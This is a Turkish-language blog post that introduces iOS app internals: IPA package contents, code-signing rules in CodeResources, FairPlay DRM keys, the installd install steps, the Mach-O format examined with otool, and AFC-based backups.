App Store’dan uygulamalar bir IPA paketi olarak indirilmektedir. IPA Paketi (iOS App Store Package) bir zip dosyasdır. Bu zip dosyası developer’ın App Store’a yüklediği bütün dosyaları içeren bir zip dosyasıdır. ipa uzantlı paket, uzantısı zip’e çevirerek herhangi bir zip açıcı uygulama vasıtasıyla açılabilmektedir. </div>
<div style="text-align: justify;">
Bir IPA paketinin içeriği aşağıda görülebilir. </div>
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-4ALvtOVxqGQ/UtPcmhsxVoI/AAAAAAAABm8/MMoKOEdT6R4/s1600/AppPackageContents.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-4ALvtOVxqGQ/UtPcmhsxVoI/AAAAAAAABm8/MMoKOEdT6R4/s1600/AppPackageContents.jpeg" height="325" width="400" /></a></div>
<a name='more'></a></div>
<div style="text-align: justify;">
Örnek olarak herhangi bir IPA paket içeriği uzantısı .zip’e çevrilerek açıldığında aşağıdaki dosyalar görülmektedir.</div>
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-LsJupkMKcoc/UtPcmvj_eJI/AAAAAAAABm8/5xfpmrwUszw/s1600/AppPackageContents2.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-LsJupkMKcoc/UtPcmvj_eJI/AAAAAAAABm8/5xfpmrwUszw/s1600/AppPackageContents2.jpeg" height="36" width="400" /></a></div>
</div>
<div style="text-align: justify;">
<b>Payload</b> dizini altında <b>uygulama_ismimiz.app </b>uzantılı bir dizin vardır. Uygulama ile ilgili bütün dosyalar bu .app dosyası içerisindedir. Resimler, property list dosyaları, html dosyaları, xml dosyaları, uygulama binary dosyası hep bu .app dosyası içerisindedir. Uygulama geliştiricinin App Store’a yüklediği dosyalar .app uzantılı dizin altındaki dosyalardır. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>iTunesMetadata.plist</b> dosyasında uygulamanın adı, boyutu, versiyon bilgisi, kategorisi gibi metadata bilgileri ve bu bilgilere ek olarak uygulamayı indiren kullanıcı hesabına ait bilgiler bulunmaktadır.</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
<b>iTunesArtwork</b> dosyasında ise uygulama ikonu bulunmaktadır. </div>
<h3 style="text-align: justify;">
Uygulama İmzalama ve İmza Kontrolü</h3>
<div style="text-align: justify;">
.app dosyası içerisinde dikkat çeken <b>_CodeSignature</b> adında bir dizin vardır. Bu dizin içerisinde <b>CodeResources</b> adında bir dosya bulunmaktadır. Property List türündeki bu dosya imzalama işlemini gerçekleştirecek olan (Xcode’da bulunan) <a href="https://developer.apple.com/library/mac/documentation/Darwin/Reference/ManPages/man1/codesign.1.html#//apple_ref/doc/man/1/codesign">codesign</a> uygulaması tarafından kullanılmaktadır </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
CodeResources dosyası en temelde iki kısımdan oluşmaktadır. </div>
<div style="text-align: justify;">
1.) İmzlama işlemi ile ilgili kuralların bulunduğu <b>rules</b> kısmı </div>
<div style="text-align: justify;">
2.) İmzası alınacak dosyalar ve imzalarının bulunduğu <b>files</b> kısmı </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Rules kısmı <b><key>rules</key></b> property’si ile başlayan kısımdır. Bu kısım imza kontrolüne tabi olacak veya imza kontrolünden muaf olacak dosyalara ait kuralların girildiği bölümdür. Direkt dosya ismi verilebileceği gibi RegEx kullanılarak birden fazla dosyayı işaret edebilecek ifadeler de bu dosyaya girilebilmektedir. İmza kontrolüne tabi tutulmayacak dosyalar <key> property’sinde <b>omit</b> değeri olan dosyalardır. Bu dosyaların imzası hesaplanmaz ve imzası uygulama yükleme sırasında kontrol edilmez. Rule’ların weight attribute’ları vardır. Weight değeri büyük olan kurallar öncelikli olarak işleme alınmaktadır. </div>
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-g3V8Zgkc2Vw/UtPdOn1iXOI/AAAAAAAABm8/6dn79-FIQN8/s1600/_CodeSignature.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://2.bp.blogspot.com/-g3V8Zgkc2Vw/UtPdOn1iXOI/AAAAAAAABm8/6dn79-FIQN8/s1600/_CodeSignature.png" height="420" width="640" /></a></div>
</div>
<div style="text-align: justify;">
Files kısmında ise .app dizini altında bulunan ve rules kısmında tanımlanan kurallara uyan bütün dosyaların imzaları tutulmaktadır. İmzalar <key><data> attribute’larında tutulmaktadır. <u>Dosyas ismi <b><key></b> attribute’unda; dosyanınn imzası <b><data> </b>attribute’unda tutulmaktadır.</u></div>
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://1.bp.blogspot.com/-c2C7HejvzlY/UtPdOgM1JlI/AAAAAAAABm8/kErW8kksOJc/s1600/_CodeSignature2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://1.bp.blogspot.com/-c2C7HejvzlY/UtPdOgM1JlI/AAAAAAAABm8/kErW8kksOJc/s1600/_CodeSignature2.png" height="249" width="640" /></a></div>
</div>
<div style="text-align: justify;">
İmza değeri <b>CodeResources</b> dosyasında olmayan istisnai bir dosya vardır. Bu da <b>uygılama binary dosyasıdır</b>. Uygulama binary’sinin imzası <b>codesign</b> aracı tarafından ayrıca alınmakta ve binary dosya içerisinde tutulmaktadır. </div>
<h4>
Apple DRM - FairPlay</h4>
<div style="text-align: justify;">
Developer’ın imzasının yanı sıra uygulama app store’a koyulurken uygulama binary’si Apple tarafında şifrelenmektedir. Bu işlem <b>DRM</b> kontrolü için yapılmaktadır. Bunun için Apple’ın DRM koruması için geliştiği teknoloji <b>FairPlay</b> teknolojisi kullanılmaktadır. FairPlay’de uygulama binary’si <b>master key</b> adı verilen bir anahtarla şifrelenmektedir. Bir kullanıcı App Store üzerinden bir uygulama aldığında/indirdiğinde bu master key o anda üretilen <b>random</b> bir <b>user key</b> ile şifrelenmektedir. Bu random user key, uygulamayı indiren kullanıcı hesabı ile ilişkilendirilmekte ve Appe sunucularında saklanmaktadır. Aynı zamanda cihazdaki AppStore uygulamasının bu encryption’u açabilmesi için <b>user key, </b>Apple tarafından kullanıcı hesabı ile ilişkilendirilmiş tüm cihazlara gönderilmektedir. Bu user key’ler AppStore’un kendi encrpyted repository’sinde tutulmaktadır. Bu user key sayesinde master key; master key sayesinde de uygulama binary’si decrypt edilmektedir. </div>
<div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Kullanıcı yeni bir cihazda hesabını aktifleştirdiğinde, Apple sunucularına o cihaza ait unique identifier gönderilmektedir. Apple sunucularından da o kullanıcının tüm user key’leri cihaza gönderilmekte ve bu key’ler encrypted bir şekilde cihazda tutlmaktadır. Benzer bir şekilde kullanıcı, bir cihazdaki hesabını deaktive ettiğinde cihazda bulunan tüm user key’ler ve Apple suncularında cihazın kullanıcı ile ilişkisi kaldırılmaktadır. </div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Uygulama binary’si cihazda encrypted olarak tutulmaktadır. Uygulama çalıştırıldığında decryption işlemi yapılmaktadır. Bu yüzden cihazda bulunan herhangi bir uygulamayı statik analiz etmek isteyen kişi öncelikle uygulama binary’sini decrypt etmelidir. Uygulama binary'si decryption işlemine ileriki yazılarda değinilecektir.</div>
<h4>
iOS App Yükleme Prosedürü</h4>
<div style="text-align: justify;">
Herhangi bir ugulama bir cihaza yükleneceği zaman, bu işlemi <b>installd</b> yükleme daemonu üstlenmektedir. <b>installd</b> tüm ios cihazlarda bulunan bir daemondur. <b>/usr/libexec</b> dizini altında bulunur. <b>installd</b> ilk olarak uygulama paketini geçici bir dizine çıkartır. DRM kontrolü ve CodeResources dosyasındaki imzalara ilişkin imza kontrolü yapıldıktan sonra <b>/var/mobile/Application</b> dizini altında uygulama dosyalarının koyulacağı rastgele isimli (UUID) dizin oluşturulur ve IPA paketi içerisindeki<b> uygulamaadı.app</b> dizini bu oluşturulan yeni dizin altına kopyalanır. iTunesMetadata ve iTunesArtwork dosyaları da yine hedef dizine kopyalanır. Gerekli olan diğer dizinler oluşturulur (Library/preferences, tmp, Documents...) ve Springborad arayüz cache’i güncellenir. Böylece uygulama ikonu ekrandan görünmüş olur. </div>
<h3>
MACH-O Dosya Formatı</h3>
<div style="text-align: justify;">
Mach-O, Executable'ler, kütüphaneler, extension'lar, core dump'lar için kullanılan ortak bir dosya formatıdır. Bu dosya formatı 3 temel bölümden oluşmaktadır: <b>Header</b>, <b>Load</b> <b>Commands</b> ve <b>Data</b> kısımları.<br />
Bir dosyanın bir executable mı, ya da bir kütüphane dosyası mı olduğuna header kısmına bakarak karar verilir.</div>
<div style="text-align: justify;">
Bir iOS uygulamasının binary dosyası <b>file</b> komutu ile çalıştırıldığında onun bir <b>Mach-O Executable </b>arm dosyası olduğu görülebilir.</div>
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-u3f_1JDiUbs/UtPgUVwLJUI/AAAAAAAABm8/BZ4f8VgrCG0/s1600/filecommand.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-u3f_1JDiUbs/UtPgUVwLJUI/AAAAAAAABm8/BZ4f8VgrCG0/s1600/filecommand.png" height="25" width="640" /></a></div>
</div>
<div style="text-align: justify;">
Bir Mach-O dosyasının içeriği: </div>
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-W2MbTeb1VGc/UtPgv86NNdI/AAAAAAAABm8/QYmeWsINQxg/s1600/Macho.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-W2MbTeb1VGc/UtPgv86NNdI/AAAAAAAABm8/QYmeWsINQxg/s1600/Macho.jpeg" height="320" width="293" /></a></div>
</div>
<div style="text-align: justify;">
Bir Mach-O dosyasının içeriği otool aracı ile görülebilir. otool'u iOS cihaza yüklemek için Cydia'daki Darwin CC Tools paketi yüklenmelidir. (otool, MAC bilgisayarlara XCode ile birlikte yüklenmektedir.)</div>
<h4>
Header</h4>
<div style="text-align: justify;">
Header kısmı o Mach-O formatındaki dosyanın bir executable mı, ya da bir kütüphane dosyası mı olduğunu belirten kısımdır. Bu header içerisinde dosya tipinin yanı sıra işlemci mimarisi tipi gibi bilgiler de bulunmaktadır. </div>
<div style="text-align: justify;">
otool kullanılarak bir binary'nin headerı görülebilmektedir. Kullanımı aşağıdaki şekildedir:</div>
<blockquote class="tr_bq">
# otool -h BinaryAdı </blockquote>
<div style="text-align: justify;">
Örneğin NeedForSpeed Shift 2 uygulaması için otool çalıştırıldığında elde edilen header bilgisi aşağıdadır.</div>
<div style="text-align: center;">
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-Uw4f5jKzdwM/UtPkF5w5IJI/AAAAAAAABm8/TwVGf098Yn8/s1600/nfs-otool.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://3.bp.blogspot.com/-Uw4f5jKzdwM/UtPkF5w5IJI/AAAAAAAABm8/TwVGf098Yn8/s1600/nfs-otool.png" height="138" width="640" /></a></div>
</div>
<div style="text-align: justify;">
Yukarıdaki örneğe bakıldığında uygulamanın iki farklı işlemci mimarisi için tasarlandığı görülebilir. Aşağıdaki kısa listede işlemci mimarilerinin <b>cputype</b> ve <b>cpusubtype</b> bilgileri görülebilir.</div>
<div style="text-align: center;">
<span style="color: #e06666;">ARM7s (iPhone 5) = cputype 12/ subtype 11</span></div>
<div style="text-align: center;">
<span style="color: #e06666;">ARM7 (iPhone 4 & 4S) = cputype 12/ subtype 9</span></div>
<div style="text-align: center;">
<span style="color: #e06666;">ARM6 (iPhone 3GS) = cputype 12/ subtype 6</span></div>
<div style="text-align: justify;">
Birden fazka işlemci mimarisi için tasarlanmış uygulamalar birden fazla Mach-O dosyası içerir. Bu tarz binary dosyalara <b>fat-binary</b> veya <b>universal-binary</b> denir. fat-binary'lerin hangi işlemci mimarilerini desteklediği yine otool yardımıyla bulunabilir.</div>
<blockquote class="tr_bq">
# otool -arch all -h BinaryAdı</blockquote>
<div style="text-align: justify;">
Bu komutun çıktısı incelendiğinde NeedForSpeed Shift2 uygulamasının <b>ARM6</b> ve <b>ARM7</b> işlemci mimarileri için compile edilmiş olduğu görülebilir.<br />
<h4>
Load Commands</h4>
</div>
<div style="text-align: justify;">
Load Commands kısmı uygulamanın bellekteki layout'u, sembol tablosunun yeri ve shared library detaylarını içeren bölümdür. Load Command'ler içerisindeki <b>LC_ENCRYPTION_INFO</b> satırının <b>Cryptid</b> parametresinin değeri bize bu binary'nin encrpyted olup olmadığı bilgisi vermektedir. Bu konuya, yazı dizisinin ileriki bölümlerinde "uygulama binary'sinin decrypt edilmesi" başlığı altında değinilecektir.</div>
<div style="text-align: justify;">
Bir uygulamanın Load Commands bölümünü görmek için </div>
<blockquote class="tr_bq">
# otool -Vl Binaryadı </blockquote>
<div style="text-align: justify;">
şeklinde komut çalıştırılmalıdır. Komutun çıktısı çok uzun olacaktır. Bu çıktı özellikle uygulamanın bellekteki durumunu incelemek için önemli bir çıktıdır.</div>
<h4>
Data</h4>
<div style="text-align: justify;">
Her bir Mach-O dosyası datalarını segmentler'de tutar. Her bir segment de section'lardan oluşur. Her bir segmentin section'ları Data kısmında bulunur. </div>
<h3>
iOS Backup</h3>
<div style="text-align: justify;">
<div>
iOS cihazlarda Backup işlemi <b>usbmuxd</b> protokolünü kullanan <b>AFC</b> (Apple File Connection) servisi üzerinden yapılmaktadır. AFC servisi iOS cihazlarda <b>/usr/libexec/</b> altında <b>afcd</b> daemonu tarafından çalıştırılır. afcd, usbmux protokolü üzerinde çalışan bir daemondur.</div>
<div>
<br /></div>
<div>
Backup sırasında <b>/private/var/mobile/Media</b> dizini altındaki kısım alınarak bilgisayara veya cloud storage'a kopyalanmaktadır. <b>AFC</b> servisi <b>/private/var/mobile/Media</b> dizinine jail edilmiştir ve bu dizin dışına write işlemi yapamamaktadır.</div>
<div>
<br /></div>
<div>
JailBreak işleminin en önemli adımlarından biri de tüm dosya sistemine write permissionunun verilmesidir. <b>AFC2</b> adı verilen <b>AFC</b> servisi bu amçala kullanılır. Linux file system table’ı (fstab) editlenerek bütün dizinlere yazma hakkı verilmekte ve AFC2 üzerinden tüm dosya sistemine erişlebilmektedir. JailBreak'in detaylarının irdelendiği yazıda bu konu ile ilgili daha detaylı açıklama yapılacaktır.</div>
<div>
<br /></div>
<div>
Bu yazıda da iOS Uygulamaları paket yapısı, yükleme ve imzalama prosedürleri, Mach-O dosya formatı ve kısaca iOS Backup işleminden bahsettik. Bir sonraki yazıda JailBreak temelleri ve bir iCihaza Jailbreak yapma sürecinden bahsedeceğiz.<br />
Takipte kalın.</div>
</div>
</div>
Unknownnoreply@blogger.com